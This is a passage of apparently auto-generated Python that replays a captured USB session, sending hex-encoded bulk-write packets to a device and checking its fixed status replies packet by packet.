b\"\\x97\\xDA\\xE1\\x25\\x76\\xED\\xFC\\x49\\xD1\\x9F\\xA4\\x5F\\x26\\x86\\x42\\xE8\"\n b\"\\xEE\\xB8\\x18\\xF6\\xD3\\xBB\\x12\\x66\\x2C\\x4D\\xF2\\xE1\\x22\\x91\\x56\\xFF\"\n b\"\\x99\\xD7\\x88\\x18\\x9A\\x84\\x8E\\xC0\\x21\\xC7\\xE7\\x53\\x0B\\xE2\\x6C\\x7D\"\n b\"\\x04\\x8A\\xC0\\x53\\x10\\x6E\\x16\\xD9\\x6B\\x68\\x1E\\xF5\\xE5\\x4E\\x44\\x76\"\n b\"\\xBE\\xEB\\xAF\\xCD\\x42\\xAD\\x3B\\xAD\\x1D\\x32\\x6B\\x52\\x93\\xFB\\x61\\x9E\"\n b\"\\x14\\x3A\\x04\\x39\\x76\\x4C\\xF0\\xD1\\x0D\\x2F\\xDF\\x84\\x5F\\x1B\\x04\\xF7\"\n b\"\\xBB\\x48\\x76\\x9C\\x57\\xB0\\x8E\\xA0\\xF4\\x71\\x7E\\x16\\x6E\\x5E\\x52\\x02\"\n b\"\\xB3\\xA0\\x76\\x3D\\x11\\x3A\\x40\\x51\\x7F\\x78\\xB2\\xDD\\x51\\x8B\\xD0\\x7B\"\n b\"\\xC1\\x63\\x61\\x93\\xF1\\xC8\\x0F\\xA8\\x32\\xA8\\xF8\\x82\\xE6\\x94\\x45\\x4D\"\n b\"\\x5E\\x3A\\x7E\\x02\\x48\\xAC\\xB5\\xDB\\xD4\\x78\\xE0\\x0D\\xB9\\x0B\\x2A\\x21\"\n b\"\\x4C\\x21\\xB7\\xFC\\x1F\\x92\\x9C\\x9B\\xE3\\x31\\x5F\\x98\\xD5\\x25\\x27\\xEA\"\n b\"\\x94\\x7D\\xE1\\xD2\\xA9\\x9E\\x4A\\xAB\\xA5\\x34\\x34\\x91\\x3A\\x44\\x59\\xC4\"\n b\"\\x20\\xDC\\x07\\x66\\x19\\xFA\\xFD\\x26\\xAC\\xE8\\xB6\\x32\\x7B\\xB7\\xDF\\xC1\"\n b\"\\xA2\\xB7\\xD9\\x9E\\xE9\\xBF\\xB7\\xCE\\x30\\x4A\\x85\\x2B\\x6F\\xEE\\x85\\xB6\"\n b\"\\x2C\\x2C\\x88\\xB2\\x80\\x5B\\x93\\x53\\x99\\xAF\\x89\\x41\")\n # Generated from packet 603/604\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 603/604\")\n # Generated from packet 605/606\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFC\\x20\\xDB\\x54\\xBF\\x60\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8C\\xAA\\xA9\\xDF\\xAA\\x08\\xE0\\xEF\"\n b\"\\x54\\x23\\x22\\x0C\\xF5\\xFC\\xAB\\x49\\x0A\\x03\\x24\\xB9\\x4E\\x7E\\x5C\\x1A\"\n b\"\\xD2\\x23\\x02\\x07\\x44\\xBF\\xD4\\xD0\\x84\\x96\\x4C\\xC2\\x55\\x32\\x90\\x53\"\n b\"\\xAC\\x5E\\x35\\x55\\xF4\\xF0\\xC2\\x6A\\xEE\\x18\\x0F\\x05\\x3C\\x3C\\xA9\\xD9\"\n b\"\\x12\\x0C\\x05\\x0F\\xD5\\x9B\\x48\\x68\\xD1\\x0A\\x50\\xE8\\xB7\\x77\\x1E\\x6F\"\n b\"\\x18\\x5A\\x75\\x96\\x95\\x27\\xA9\\xDF\\x45\\x01\\x9D\\xD3\\x5F\\x07\\xF1\\xB8\"\n b\"\\x8E\\x54\\xC0\\x04\\xA6\\xAA\\x76\\xA2\\xC1\\xE2\\xBC\\xD7\\xEC\\x6E\\xE8\\xB7\"\n b\"\\x1F\\xFA\\xC6\\xFA\\xBA\\x38\\x7B\\x95\\xA9\\x94\\xDB\\xD9\\xAC\\x3D\\xC2\\x27\"\n b\"\\x3F\\x7C\\x3C\\x9D\\xA1\\xDA\\x69\\x05\\xDB\\x9B\\x7E\\xDD\\xE9\\x36\\xB3\\x3D\"\n b\"\\xB5\\x39\\xB1\\x62\\x22\\x7F\\xD7\\xE7\\x49\\x78\\xD3\\xB2\\xA3\\xB8\\x76\\x33\"\n b\"\\xDD\\x15\\xE1\\x96\\xF8\\xB5\\x93\\xD5\\x10\\xD6\\x14\\x17\\x95\\x83\\xF1\\x28\"\n b\"\\x64\\x54\\xC5\\xBA\\x71\\x27\\x36\\x50\\xA3\\xA4\\x50\\xEC\\x80\\x5D\\xF8\\x7B\"\n b\"\\xC2\\x0A\\x0A\\x34\\xC2\\x84\\x58\\x18\\x50\\x4E\\x93\\x5E\\xAA\\x44\\xAC\\xE3\"\n b\"\\x29\\xFA\\x62\\x8F\\xBC\\x11\\xA9\\x2D\\xF4\\xBA\\x10\\xFC\\xE8\\xFA\\x2B\\xE0\"\n b\"\\x94\\xAA\\xDC\\x9B\\x5F\\x60\\xF4\\x4B\\x2B\\xC9\\xBE\\xD3\\x64\\x43\\x87\\xF0\"\n b\"\\x01\\xC6\\x92\\x09\\xB9\\xA5\\x53\\xAC\\x07\\x45\\xF1\\xA2\\xB3\\x32\\x10\\xBE\"\n b\"\\xDB\\xC0\\x93\\xE3\\x67\\xD4\\xC5\\xE7\\x7A\\x9E\\x6A\\xE3\")\n # Generated from packet 607/608\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 607/608\")\n # Generated from packet 609/610\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5B\\x6E\\xAA\\x96\\x67\\x5C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFE\\xD7\\x7D\\xEB\\xE2\\x69\\x73\\x19\"\n b\"\\x35\\x51\\x9D\\x44\\xD6\\x05\\x30\\x6D\\x4E\\xFA\\x03\\xC3\\x46\\x79\\x0E\\xDC\"\n b\"\\x99\\x59\\xC4\\x0B\\x9B\\x39\\x02\\x09\\x6D\\xE3\\x33\\x3A\\xFF\\x9F\\xE4\\x69\"\n b\"\\x7A\\x24\\xA5\\xB7\\xB1\\x89\\xCD\\x06\\xA7\\x16\\x4F\\x00\\x3F\\x1A\\x41\\x21\"\n b\"\\xE6\\x26\\x79\\xA5\\x92\\x26\\xBE\\x8D\\x6F\\xE4\\x5F\\x42\\x2B\\x1F\\x0F\\xB3\"\n b\"\\x10\\x63\\x0E\\x1E\\xDF\\x90\\xFF\\xC6\\xEA\\xA7\\x7E\\xDE\\x80\\xFB\\xEE\\x5C\"\n b\"\\xBD\\x6A\\xDD\\x00\\xB3\\x11\\x94\\x03\\x96\\x71\\x61\\x93\\xE3\\x10\\x28\\xDA\"\n b\"\\x5F\\xA9\\x6C\\xC0\\xDF\\x6B\\xC3\\xF1\\x1C\\xE4\\x2A\\xED\\xDC\\xAF\\x49\\xA2\"\n b\"\\xE1\\x66\\xE3\\x11\\xFA\\x4B\\x73\\x46\\x1D\\x74\\x7C\\xFB\\x44\\xC4\\x97\\x26\"\n b\"\\x36\\x37\\x53\\xDB\\x06\\x26\\xCC\\xD4\\x34\\x02\\xBF\\x86\\x0A\\x5C\\xB6\\x0C\"\n b\"\\x30\\xD7\\x2D\\x3A\\x63\\x73\\xA4\\x90\\xCA\\x12\\x1C\\xB5\\x94\\x61\\xFF\\xF0\"\n b\"\\x43\\xA4\\xD4\\x3F\\xCE\\x12\\xD9\\xD9\\x45\\xFA\\x67\\x7D\\xA5\\xC9\\x2B\\x85\"\n b\"\\x3F\\x3D\\x64\\xB3\\xBD\\x6B\\xBF\\xB2\\x53\\xAC\\x1B\\x91\\xA5\\xE8\\x76\\xA3\"\n b\"\\x4E\\x98\\x50\\xC9\\xA8\\xCA\\x81\\x30\\x3B\\x5E\\xDC\\xB0\\xEC\\x39\\x5C\\x90\"\n b\"\\x04\\x38\\xCB\\x07\\xB4\\xBE\\x5A\\x28\\xDA\\xAB\\x92\\x37\\x13\\x38\\x9C\\xA1\"\n b\"\\x8D\\x5A\\xA4\\xF5\\x76\\x80\\xE1\\xF8\\x3A\\x86\\xEF\\x4B\\x6D\\x7E\\x2E\\xE9\"\n b\"\\xD9\\x31\\x23\\x54\\x5B\\xB7\\xD1\\x79\\xC7\\xA6\\x66\\x62\")\n # Generated from packet 611/612\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 611/612\")\n # Generated from packet 613/614\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x42\\x31\\xA0\\x69\\xD6\\x3C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x3C\\x48\\x26\\x19\\x25\\x77\\xB2\"\n b\"\\x4D\\x74\\xA0\\x23\\x67\\xD7\\xDE\\x89\\xF9\\xA4\\x17\\x9F\\x8B\\x22\\xA6\\xE6\"\n b\"\\x59\\x8C\\xEE\\x81\\xF5\\xAA\\x2F\\x1F\\xA3\\xF7\\x80\\x3E\\x02\\xE2\\x3F\\x1F\"\n b\"\\xA1\\x31\\xFC\\xFD\\xCC\\x9A\\xDB\\xDD\\xDE\\xAF\\x06\\x2D\\xB7\\x52\\x4F\\x0E\"\n b\"\\xCA\\xCE\\x1F\\xF2\\x8C\\x7C\\x93\\xCD\\x7D\\x05\\x89\\xA3\\x19\\xD3\\x5E\\x97\"\n b\"\\x0F\\xFC\\xE7\\x79\\x0E\\xE7\\x00\\x94\\x4B\\x1F\\x76\\xE4\\x40\\x7D\\x17\\xF6\"\n b\"\\x85\\x89\\x89\\xC9\\x24\\xC5\\x18\\xA0\\xF0\\x2F\\x08\\x6D\\x41\\xC1\\x3A\\xDD\"\n b\"\\xC2\\x06\\x1E\\x16\\xE2\\x6C\\x2E\\xFD\\x89\\x21\\xAD\\x14\\x40\\x42\\xA0\\xBA\"\n b\"\\x5E\\x0E\\x56\\x51\\x8B\\x14\\x7E\\x36\\xC0\\x11\\x67\\xF4\\x1F\\xAF\\x74\\x1E\"\n b\"\\xBB\\x22\\x28\\x54\\xE9\\x2D\\x85\\x9D\\xE4\\x9E\\xAC\\x6B\\xB0\\x53\\xC3\\x9E\"\n b\"\\x39\\x7A\\x2F\\xBB\\x48\\x4F\\x14\\x8E\\x7C\\x27\\xA7\\x48\\x61\\xBE\\xB9\\xC6\"\n b\"\\x24\\x57\\x6E\\x42\\x8D\\xA8\\xCD\\x9A\\xF2\\x23\\x47\\xDD\\x38\\xB4\\x01\\x53\"\n b\"\\xF9\\xB4\\x73\\x63\\x6B\\xF1\\xE7\\xC6\\xFE\\xA7\\xD1\\xEE\\xA7\\xE3\\xA6\\x0E\"\n b\"\\x13\\xCE\\x9F\\xDF\\xCE\\xA4\\x4F\\xE1\\x32\\x4C\\x29\\xB4\\xB5\\x77\\x3A\\x0C\"\n b\"\\xD8\\x99\\xFA\\x8D\\x7E\\x51\\x7C\\x4D\\x34\\x6E\\x1C\\xC9\\x67\\xF2\\x5A\\x6F\"\n b\"\\x3D\\x2E\\x8F\\xA4\\xCB\\x2C\\x06\\x3E\\xF3\\x3C\\xE1\\x92\\x7E\\x28\\xD1\\x8F\"\n b\"\\xCD\\x3B\\x87\\xA3\\x22\\x48\\x77\\x77\\x29\\xAD\\x7D\\x8E\")\n # Generated from packet 615/616\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 615/616\")\n # Generated from packet 617/618\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1D\\x97\\xB9\\x97\\xBF\\x0F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBB\\x30\\x06\\x71\\x99\\xC3\\xAC\\xF0\"\n b\"\\x1A\\xCA\\x4E\\x06\\xAF\\xD9\\x49\\x28\\xEC\\xC2\\x4F\\xE1\\x17\\xA9\\xA9\\xB4\"\n b\"\\x98\\x11\\xE7\\x37\\xB0\\xFD\\x87\\x93\\x16\\x60\\x56\\xCC\\xEC\\xD6\\xD0\\xFF\"\n b\"\\x93\\x22\\x9B\\x3F\\x97\\xB6\\x84\\x2C\\x69\\x3D\\x99\\xC0\\xE6\\xF4\\xEF\\x89\"\n b\"\\x8E\\x2C\\x8A\\x98\\x82\\x7D\\xEB\\xD2\\x8F\\x3C\\xAF\\x41\\x95\\x79\\x7A\\xD8\"\n b\"\\xE9\\x4D\\x78\\x12\\xC9\\xBF\\x38\\xA2\\x1B\\xA6\\xCF\\x6C\\xA3\\xCE\\xD7\\x34\"\n b\"\\x87\\xD4\\x92\\x95\\x69\\xFB\\xEF\\x20\\xEE\\x5B\\x74\\xEE\\xEA\\x82\\x44\\x5F\"\n b\"\\x44\\xDA\\x4D\\xD9\\xA9\\x1A\\x2D\\x23\\xEE\\xE4\\x0C\\x62\\x5D\\x6C\\x3D\\x3C\"\n b\"\\x1C\\xE8\\xFB\\x38\\x33\\x18\\x54\\x8B\\x7B\\x9D\\x96\\xB9\\x26\\x11\\xD5\\x14\"\n b\"\\xB7\\x42\\xD2\\x5A\\x9E\\xC5\\x29\\x38\\xAB\\xBE\\x14\\xE4\\x8C\\x19\\x7D\\x92\"\n b\"\\x02\\xB8\\x92\\xB5\\x6C\\xB5\\x1E\\x80\\x35\\x20\\x7E\\xF6\\x96\\xC8\\xD1\\x5A\"\n b\"\\x69\\x43\\xCE\\xCF\\xFF\\x35\\xE9\\x87\\xA7\\xE5\\x19\\x26\\x4D\\x7D\\x2F\\x85\"\n b\"\\xAC\\x74\\x80\\x99\\x2D\\x6A\\xA0\\xDA\\x6B\\x46\\xA6\\xF4\\xFE\\xFE\\xAC\\x42\"\n b\"\\x61\\xF0\\x8B\\x1F\\xAD\\x41\\x5A\\x3B\\xB0\\x8D\\x3D\\xDE\\x76\\x05\\x55\\xA4\"\n b\"\\xD8\\x22\\xC1\\x9F\\x55\\x60\\xA7\\x17\\xB9\\x17\\xAE\\xB6\\xE2\\xB6\\xFF\\x0A\"\n b\"\\x24\\x5D\\x16\\xDB\\x74\\xB8\\x33\\x76\\x40\\xAD\\xFD\\xC5\\x46\\x9D\\xB3\\x93\"\n b\"\\xCD\\xA3\\x12\\xAE\\x57\\x1D\\xA0\\x0E\\xD2\\xEA\\xF5\\xFD\")\n # Generated from packet 619/620\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 619/620\")\n # Generated from packet 621/622\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9C\\x24\\x96\\xBE\\x14\\x2F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA8\\xC0\\x6D\\x4E\\x0A\\x43\\x35\\x55\"\n b\"\\x5D\\x87\\x11\\xB7\\x07\\x6A\\x45\\x0C\\x21\\xED\\x79\\x1A\\x4B\\x49\\x8A\\xF1\"\n b\"\\x64\\xC8\\x28\\x18\\x1D\\x65\\xB0\\xFC\\x19\\xC6\\x07\\x71\\xFA\\x41\\xFC\\xF6\"\n b\"\\xF0\\x9B\\x7A\\x81\\x63\\xA8\\x43\\xCD\\xEF\\x2E\\xA4\\x10\\x39\\xA3\\xCC\\xAB\"\n b\"\\x83\\x69\\x86\\x4A\\x37\\x0A\\x54\\x1E\\x08\\xAA\\xE1\\x82\\xE7\\x13\\xC6\\xF8\"\n b\"\\x06\\x20\\x71\\x95\\xDC\\x79\\xD1\\x9D\\x53\\xD4\\x15\\x27\\xB7\\x8F\\xAF\\x7E\"\n b\"\\x36\\x1A\\xB5\\x3F\\xBE\\x6B\\xA7\\x6B\\x90\\xF6\\x3A\\xC4\\xE8\\xBA\\x2C\\xD8\"\n b\"\\xE7\\x9C\\x82\\xDF\\x41\\x8D\\xCF\\xFD\\x42\\x96\\x2A\\x94\\x66\\x21\\xCC\\x3A\"\n b\"\\x00\\xA6\\xEA\\x47\\x24\\x7D\\x79\\xCB\\x6D\\xD3\\x1D\\x40\\xF1\\x19\\xED\\x3A\"\n b\"\\x57\\x96\\x36\\x52\\x0B\\x10\\x54\\xEC\\xF5\\xAA\\x17\\x2F\\x67\\xA3\\xD2\\x2A\"\n b\"\\xE5\\xD4\\x8F\\x90\\x28\\xD7\\x02\\x0B\\xC2\\xBF\\x7E\\xB9\\x4D\\xCB\\xFC\\xD1\"\n b\"\\x14\\xC0\\x53\\x98\\x66\\x62\\x29\\xBF\\xE2\\xC1\\x9C\\xD0\\xAC\\xB2\\xE8\\x5D\"\n b\"\\xFD\\x55\\x67\\x6B\\xFE\\x29\\x23\\x37\\x64\\xFA\\x82\\xF0\\x92\\x48\\x82\\x64\"\n b\"\\x5D\\x86\\x5C\\x86\\xC7\\x36\\xFC\\xA6\\x9E\\x71\\x65\\x62\\x3B\\xEF\\xBD\\x5D\"\n b\"\\x9D\\x12\\x7D\\xE8\\x1F\\xEC\\x53\\x81\\xB4\\xBA\\x1A\\xAD\\xF7\\x53\\x14\\xB6\"\n b\"\\xD3\\xD4\\x8E\\x2A\\x71\\xEE\\xBC\\xD1\\x3F\\xDA\\xB5\\x5D\\x2C\\x61\\x59\\x22\"\n b\"\\x39\\xBA\\xE1\\xB1\\x1B\\x8B\\x32\\x64\\xEC\\xA4\\x2F\\x3B\")\n # Generated from packet 623/624\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 623/624\")\n # Generated from packet 625/626\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x58\\xD7\\xF9\\x6D\\xD6\\x6A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE1\\x88\\x68\\x2B\\x86\\xA0\\x2B\\x7F\"\n b\"\\x5D\\x5D\\xB5\\x7E\\x1B\\x09\\x88\\x8C\\xC4\\x74\\xDE\\x73\\xDA\\x12\\xD1\\x13\"\n b\"\\xFE\\x18\\x2F\\xD2\\x40\\x5C\\x74\\x3B\\x01\\x49\\xF9\\x29\\x98\\x6F\\x92\\x93\"\n b\"\\x4A\\xE2\\xFF\\xA6\\xF6\\x1A\\x3E\\x13\\x1F\\x5B\\x2E\\x8E\\x53\\x5A\\x4E\\xB2\"\n b\"\\x82\\x74\\x68\\x99\\x16\\x02\\x28\\xF5\\x14\\x91\\x4D\\x89\\x6B\\xB8\\x9A\\x39\"\n b\"\\x78\\x75\\x8A\\x85\\x72\\xDD\\x5F\\x43\\x58\\xF8\\x1A\\x4A\\xBF\\xF8\\xCB\\x64\"\n b\"\\x50\\x93\\x3D\\x5E\\x62\\xAB\\xFF\\x00\\x13\\xE7\\xE1\\xC6\\xF6\\x26\\x6A\\xD4\"\n b\"\\xC0\\xCD\\xA6\\xFF\\x88\\xE8\\x56\\xBE\\x51\\x7D\\x5B\\x72\\xEC\\xAB\\x1D\\xF7\"\n b\"\\xE0\\x0A\\x6F\\x61\\x62\\x7F\\xC4\\x07\\xB2\\x49\\xED\\x02\\x83\\x22\\x6E\\x0C\"\n b\"\\x02\\xA8\\xE6\\x83\\x6D\\x97\\x00\\xE0\\x82\\x35\\x1E\\x02\\xC3\\x8A\\x8B\\x6C\"\n b\"\\x10\\xCA\\x94\\x7B\\x4D\\xFB\\x1C\\xC2\\x0A\\x52\\x15\\x3D\\x3E\\xE1\\x6E\\x2F\"\n b\"\\xB6\\x6F\\x27\\x16\\xED\\x56\\x2D\\xF3\\x38\\xE1\\x57\\x00\\xC5\\x2D\\x61\\xC3\"\n b\"\\x41\\x72\\x6C\\x32\\x14\\x63\\x3F\\x5C\\x9F\\x13\\xD4\\x05\\xA6\\x9E\\x34\\x5D\"\n b\"\\xEF\\x02\\x34\\xD4\\xCC\\xA0\\xE5\\x9D\\x39\\x12\\x56\\xB4\\x66\\xC5\\x00\\x5E\"\n b\"\\x26\\xA1\\x6E\\xC5\\xE3\\xAE\\x29\\x9F\\x48\\x97\\x5C\\x44\\x10\\x79\\xC1\\xA3\"\n b\"\\x3A\\x1D\\x64\\xBB\\x11\\x68\\x7C\\x92\\x53\\x03\\xF9\\xC7\\x21\\x84\\x02\\x22\"\n b\"\\xDD\\x54\\x0E\\xCA\\xF9\\x1F\\xE5\\x64\\xC6\\x72\\xA8\\x13\")\n # Generated from packet 627/628\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 627/628\")\n # Generated from packet 629/630\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC4\\xFD\\xC9\\x33\\x7E\\x04\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF0\\xED\\x51\\x15\\x5B\\x29\\x5E\\xDB\"\n b\"\\x45\\x39\\xAA\\xD1\\x90\\xC3\\x82\\xF4\\xD5\\xC9\\x65\\xB4\\x1A\\xC8\\xE4\\x5E\"\n b\"\\xE3\\xFE\\x29\\x88\\x37\\x7D\\x18\\x29\\x8C\\x6F\\x2C\\x43\\xA5\\x54\\x1A\\x61\"\n b\"\\x25\\x7D\\x2F\\xB9\\x5F\\x61\\xD7\\x86\\x9C\\xFE\\x66\\x5E\\x71\\xFF\\xE4\\xF3\"\n b\"\\xB2\\x40\\x3F\\xA3\\xB3\\xC7\\xCD\\x9A\\x32\\x35\\x06\\xD5\\xD8\\x6F\\x0F\\xD2\"\n b\"\\xA8\\x0E\\xC2\\x54\\x32\\xFD\\x64\\x90\\x8B\\x6B\\x2D\\xDE\\xEE\\x5A\\x8C\\xCF\"\n b\"\\xFB\\x56\\x08\\x28\\x67\\x0B\\xDE\\xEF\\x26\\x7C\\xFA\\x9C\\xCD\\x6E\\x2F\\x6A\"\n b\"\\x15\\x2A\\xEC\\xCC\\xEE\\x8A\\x9E\\xED\\x08\\x29\\xC0\\x57\\x7E\\xFB\\x42\\x89\"\n b\"\\xB7\\x1E\\x45\\xBB\\x5A\\x74\\x99\\xC0\\xC6\\x1C\\xAE\\x0A\\x6A\\x71\\x40\\x70\"\n b\"\\xA4\\x0F\\x7B\\x6C\\x6A\\x98\\x21\\x5F\\x51\\xB4\\xA5\\x30\\x4E\\xD0\\x8B\\xED\"\n b\"\\xED\\x47\\x44\\xFD\\x26\\xEF\\xCF\\x6E\\x95\\x65\\xD6\\x34\\xBF\\xB7\\x4D\\x86\"\n b\"\\xD0\\x1B\\x7E\\x12\\xCD\\x1C\\x05\\x4E\\x6B\\x77\\xED\\x69\\x1F\\x3A\\x98\\xE5\"\n b\"\\x2E\\xD5\\x33\\x50\\x46\\x7B\\x2E\\xDB\\xD5\\x9B\\x05\\x54\\x6C\\x21\\xD1\\x43\"\n b\"\\x57\\x4A\\x28\\x33\\xCC\\x62\\xFF\\xAC\\x9E\\x70\\xD5\\x16\\x48\\x30\\x95\\x58\"\n b\"\\xDB\\xBA\\xE9\\xAD\\x0C\\x63\\xE3\\x1B\\x6D\\xCE\\xBC\\x62\\x6D\\xAE\\x4E\\x93\"\n b\"\\x9A\\x55\\x11\\x8E\\xD7\\xF7\\x7A\\x3E\\x33\\x37\\xFA\\x32\\x51\\x20\\x09\\x3D\"\n b\"\\x9A\\x6F\\x84\\x06\\x5B\\xC6\\x58\\x24\\x08\\x00\\x74\\xBA\")\n # Generated from packet 631/632\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 631/632\")\n # Generated from packet 633/634\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x31\\x2E\\xFB\\xDE\\x2D\\x42\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x67\\x97\\xBE\\xD2\\x55\\x9A\\x05\\xB8\"\n b\"\\xC2\\x90\\xC0\\x04\\x27\\x90\\x2A\\xE2\\x4D\\x9A\\xE7\\xC2\\x73\\xB1\\xE9\\xE8\"\n b\"\\xDC\\x50\\x1C\\x4E\\x31\\x02\\x32\\xC0\\x64\\x6A\\xFD\\xB6\\x22\\xCF\\x08\\x62\"\n b\"\\x4E\\x94\\xA3\\x11\\x94\\x41\\xE8\\x0C\\x37\\xAF\\xAD\\x35\\x62\\x67\\x03\\x4F\"\n b\"\\x2B\\x27\\x15\\x9E\\xB5\\x0A\\x58\\x69\\x6E\\x81\\x0E\\x06\\x38\\x0E\\xA5\\x06\"\n b\"\\x5A\\xFD\\x40\\x30\\x27\\x09\\xFC\\x2A\\x50\\xF8\\x14\\xD5\\x95\\xC5\\x80\\xF6\"\n b\"\\xB9\\xC9\\xB0\\x05\\xC5\\x06\\xAF\\x4E\\x59\\x4E\\x51\\xC4\\x0C\\xB1\\x13\\xC1\"\n b\"\\x0F\\xFB\\x53\\x96\\x60\\xED\\xFE\\x30\\x6A\\x72\\xAD\\x9D\\x3C\\x68\\x34\\xB2\"\n b\"\\x1B\\x56\\xEA\\x05\\x57\\xD7\\x53\\x99\\x67\\xD6\\xF3\\x01\\x23\\xF7\\x01\\xC0\"\n b\"\\xED\\x86\\x09\\x95\\xDA\\xFA\\x67\\xA2\\x57\\x33\\x88\\x21\\xFA\\x4D\\x8A\\x78\"\n b\"\\x18\\xEB\\x99\\xE3\\xD9\\xA7\\x83\\xFC\\x42\\x52\\xFF\\x2C\\x51\\x15\\xDC\\xE5\"\n b\"\\x2D\\x69\\x61\\xBC\\x28\\x6D\\x9F\\x28\\x4A\\xBA\\x1E\\x71\\x03\\xFB\\xF0\\x41\"\n b\"\\x70\\xF7\\x3A\\xDE\\x96\\x8B\\x60\\x9A\\xE2\\xEA\\x8A\\xB5\\xB0\\x1E\\xFF\\x1B\"\n b\"\\xDB\\xDF\\x19\\x8F\\xE1\\xAF\\x3E\\x05\\x3E\\x44\\xF6\\xFE\\xCB\\x09\\xE8\\x2F\"\n b\"\\x0D\\x67\\x97\\x24\\xA4\\x4C\\x0B\\xDD\\x68\\x85\\x51\\x6C\\x0E\\x5D\\xA5\\xD8\"\n b\"\\x96\\xA1\\x19\\xC8\\xBA\\x28\\x86\\x6A\\x38\\xB4\\x24\\x06\\x2F\\xB9\\x82\\x95\"\n b\"\\xB7\\x46\\x3B\\x08\\x12\\x64\\xD4\\xA0\\x18\\x2F\\x22\\x63\")\n # Generated from packet 635/636\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 635/636\")\n # Generated from packet 637/638\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x74\\x05\\xD1\\x4C\\xDC\\x54\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5C\\x86\\x19\\x99\\x95\\x07\\x56\\x21\"\n b\"\\x85\\xDD\\xE4\\x9B\\x68\\x22\\x5C\\x7F\\xC2\\x16\\xF6\\xD5\\x9A\\xFB\\xA0\\xA1\"\n b\"\\x8D\\x32\\x00\\xE2\\x9E\\x9D\\x8C\\x05\\x85\\xB3\\x1B\\xA6\\x93\\x6D\\x11\\xF9\"\n b\"\\x70\\x26\\x8D\\xAB\\xDB\\xFD\\x4D\\x7E\\xFE\\x82\\x14\\x98\\xED\\x6C\\x9C\\x36\"\n b\"\\xC9\\x7E\\x22\\x10\\x62\\xC7\\x7A\\x6A\\xD2\\xC2\\xB1\\x70\\xE3\\x2E\\xC4\\x76\"\n b\"\\x3F\\x28\\x74\\xEC\\x43\\xCC\\x28\\xF5\\x55\\x76\\x53\\xE7\\x36\\x1C\\x94\\xA9\"\n b\"\\xC5\\xB0\\x8A\\x3B\\x31\\x5F\\x99\\x0B\\xE4\\x63\\x8D\\x21\\x2D\\x16\\x5A\\xD6\"\n b\"\\xDF\\x77\\x2D\\x7E\\xB2\\x02\\xFC\\x59\\xCB\\xA5\\x6C\\x4D\\x6B\\x55\\x78\\xD6\"\n b\"\\xC8\\xF3\\x3B\\x49\\xAE\\x14\\x58\\x96\\xCF\\xF1\\xCC\\x80\\xC1\\xBD\\xE7\\xE7\"\n b\"\\x7E\\x7A\\xF0\\x9F\\xC6\\x08\\x08\\x96\\x57\\x91\\xB7\\xF2\\xBE\\xB6\\x86\\x61\"\n b\"\\x9B\\x44\\x3B\\x35\\x34\\x5D\\xAF\\x92\\xB5\\x56\\xEB\\x28\\x37\\x78\\x32\\xFE\"\n b\"\\xD6\\x2D\\x9B\\xD5\\xA9\\xA2\\x1B\\x23\\x01\\x65\\xE8\\xA1\\xE4\\x2C\\x3C\\xF1\"\n b\"\\x35\\xE0\\xDA\\xAA\\x7B\\xA3\\xE2\\x08\\x78\\x7B\\x1D\\xB3\\x82\\x6B\\xBD\\x77\"\n b\"\\x12\\x31\\xAF\\x2A\\xC8\\x10\\x9B\\xBE\\x5F\\xFC\\xD4\\x07\\xE1\\x52\\xFB\\x45\"\n b\"\\xD5\\xF9\\xFC\\x06\\x5A\\xD1\\xF9\\x13\\xE8\\x97\\xF3\\x2A\\xF2\\x6E\\x5D\\xE4\"\n 